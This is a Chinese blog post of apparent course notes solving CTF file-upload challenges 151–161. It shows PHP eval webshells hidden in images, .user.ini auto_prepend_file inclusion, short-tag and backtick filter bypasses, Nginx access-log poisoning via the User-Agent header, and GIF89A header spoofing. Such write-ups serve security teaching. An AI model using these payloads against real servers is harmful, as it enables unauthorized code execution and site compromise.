当前位置: 首页 > news >正文

小迪安全31WEB 攻防-通用漏洞文件上传js 验证mimeuser.ini语言特性

#知识点:

1、文件上传-前端验证

2、文件上传-黑白名单

3、文件上传-user.ini 妙用

4、文件上传-PHP 语言特性

#详细点:

  1. 检测层面:前端,后端等

2、检测内容:文件头,完整性,二次渲染等

3、检测后缀:黑名单,白名单,MIME 检测(文件类型后缀)等

4、绕过技巧:多后缀解析(PHP5),截断,中间件特性,条件竞争等

#本章课程内容:

1、文件上传-CTF 赛题知识点 

2、文件上传-中间件解析&编辑器安全

3、文件上传-实例 CMS 文件上传安全分析

#前置:

后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)

如:jpg 图片里面有 php 后门代码,不能被触发,所以连接不上后门

文件上传-CTF 赛题知识点

151 152-JS 验证+MIME

Content-Type: image/png

通过源代码查看,得知此验证为前端验证

通过前端更改对应参数,发现成功上传.gif

因此以JS验证为注入点,修改白名单为.php传入后门

<?php eval($_POST[x]);?>

用工具或者利用POST传递参数(system(‘’)),对其进行获取flag

152.

MIME验证:会根据文件的后缀,去判断文件的类型从而进行验证——后端代码

将其C-T参数更改,上传成功

153-JS 验证+user.ini

参考:https://www.cnblogs.com/NineOne/p/14033391.html

.user.ini                          auto_prepend_file=test.png

test.png<?php eval($_POST[x]);?>

与.htaccess绕过类型,只不过.user.ini适用于php语言,而.htaccess绕过适应于Apache

思路:

首先.user.ini 是一个自定义的php.ini配置文件,一般在任何一个与php相关的网页都会存在此配置,是一个能被动态加载的ini文件,通过在主目录中创建.user.ini 文件,并在其中定义特定的 PHP 配置选项,用户可以对其网站或应用程序的 PHP 环境进行个性化设置auto_prepend_file=test.png 相当将一个文件包含,这里我们就可以放payload进去,将图片马传上去,再访问index.php,注意是上传目录下的index.php,执行任意命令即可

解释“前置”:可以利用漏洞或错误配置来绕过文件格式限制。这可能会使得一些解析器错误地将图片文件识别为脚本文件,从而导致恶意代码的执行。

再加入后台文件

154 155-JS 验证+user.ini+短标签

当在图片中输入后门,发现不行时,那可推断此时为内容检测

得知它将<?php进行限制:

1.<? echo '123';?> //前提是开启配置参数 short_open_tags=on

2.<?=(表达式)?> //不需要开启参数设置

3.<% echo '123';%> //前提是开启配置参数 asp_tags=on

4.<script language=”php”>echo '1'; </script> //不需要修改参数开关

155.

.user.iniauto_prepend_file=test.png

test.png<?=eval($_POST[x]);?>

与上两题结合即可,利用.user.ini,去触发1.png,1.png中还需内容过滤

156 JS 验证+user.ini+短标签+过滤 :同理

.user.iniauto_prepend_file=test.png

test.png<?=eval($_POST{x});?>

157 158 159 JS 验证+user.ini+短标签+过滤

使用反引号运算符的效果与函数 shell_exec()相同

.user.iniauto_prepend_file=test.png

发现它的过滤是将分号和php过滤

test.png<?=system('tac ../fl*')?>

test.png<?='tac ../fl*'?> ——反引号

test.png<? echo `tac /var/www/html/f*`?>

160 JS 验证+user.ini+短标签+过滤

包含默认日志,日志记录 UA 头,UA 头写后门代码

日志文件:记录访问的地址和访问的信息和访问的UA头,我们将UA头改为payload,UA头流入日志文件中,再利用/user.ini去包含日志文件,去触发UA头中的payload

日志文件是根据中间件去决定:此时分析数据包得知是Nginx

.user.iniauto_prepend_file=test.png

test.png<?=include"/var/lo"."g/nginx/access.lo"."g"?>

做了.user.ini文件配置之后,访问upload的情况——包含了日志文件,故显示出日志文件的内容

此时我们只要对其网页进行访问,日志文件就会记录我们的访问信息

通过抓包对参数进行修改得知,上传成功

161 JS 验证+user.ini+短标签+过滤+文件头

文件头部检测是否为图片格式文件

.user.iniGIF89A auto_prepend_file=test.png

test.pngGIF89A <?=include"/var/lo"."g/nginx/access.lo"."g"?>——做了过滤处理

前端验证文件内容头部信息

.jpg的文件头

.gif的文件头部

.png的文件头部

相关文章:

  • 大数据概述
  • 「Vue3系列」Vue3 计算属性(computed)、监听属性(watch)
  • 轻量级Redis慢查询监控脚本
  • 低代码与国产化部署:软件开发的未来趋势与应用实践
  • Java架构之路-架构应全面了解的技术栈和工作域
  • 【大模型推理】浅谈推理过程中流行的加速技术
  • 如何用可调电源给 GSX-250R 摩托车电瓶充电
  • Spring Boot的启动流程(个人总结,仅供参考)
  • nextjs13如何进行服务端渲染?
  • 智能驾驶规划控制理论学习06-基于优化的规划方法之数值优化基础
  • 蓝桥杯倒计时 41天 - 二分答案-最大通过数-妮妮的月饼工厂
  • 【奇淫巧计】Unity 如何对齐父容器
  • 微服务定时执行任务
  • mac电脑使用pyinstaller打包python脚本
  • Applied Energy+C论文复现:考虑泊位分配灵活性的港口综合能源系统优化调度程序代码!
  • [译] React v16.8: 含有Hooks的版本
  • Android 控件背景颜色处理
  • k8s 面向应用开发者的基础命令
  • Python3爬取英雄联盟英雄皮肤大图
  • springMvc学习笔记(2)
  • TiDB 源码阅读系列文章(十)Chunk 和执行框架简介
  • vue 个人积累(使用工具,组件)
  • Vultr 教程目录
  • 三分钟教你同步 Visual Studio Code 设置
  • 在weex里面使用chart图表
  • 仓管云——企业云erp功能有哪些?
  • 国内唯一,阿里云入选全球区块链云服务报告,领先AWS、Google ...
  • ​TypeScript都不会用,也敢说会前端?
  • #我与Java虚拟机的故事#连载04:一本让自己没面子的书
  • #我与Java虚拟机的故事#连载17:我的Java技术水平有了一个本质的提升
  • (C++17) optional的使用
  • (iPhone/iPad开发)在UIWebView中自定义菜单栏
  • (poj1.2.1)1970(筛选法模拟)
  • (PyTorch)TCN和RNN/LSTM/GRU结合实现时间序列预测
  • (rabbitmq的高级特性)消息可靠性
  • (八)Flask之app.route装饰器函数的参数
  • (草履虫都可以看懂的)PyQt子窗口向主窗口传递参数,主窗口接收子窗口信号、参数。
  • (多级缓存)缓存同步
  • (附源码)springboot宠物医疗服务网站 毕业设计688413
  • (附源码)springboot猪场管理系统 毕业设计 160901
  • (解决办法)ASP.NET导出Excel,打开时提示“您尝试打开文件'XXX.xls'的格式与文件扩展名指定文件不一致
  • (六)激光线扫描-三维重建
  • (三分钟了解debug)SLAM研究方向-Debug总结
  • (四)JPA - JQPL 实现增删改查
  • (一)C语言之入门:使用Visual Studio Community 2022运行hello world
  • (转)母版页和相对路径
  • (最全解法)输入一个整数,输出该数二进制表示中1的个数。
  • ... 是什么 ?... 有什么用处?
  • .Net 高效开发之不可错过的实用工具
  • .NET/C# 中设置当发生某个特定异常时进入断点(不借助 Visual Studio 的纯代码实现)
  • .NET:自动将请求参数绑定到ASPX、ASHX和MVC(菜鸟必看)
  • .net遍历html中全部的中文,ASP.NET中遍历页面的所有button控件
  • .Net程序猿乐Android发展---(10)框架布局FrameLayout
  • .sys文件乱码_python vscode输出乱码
  • ??eclipse的安装配置问题!??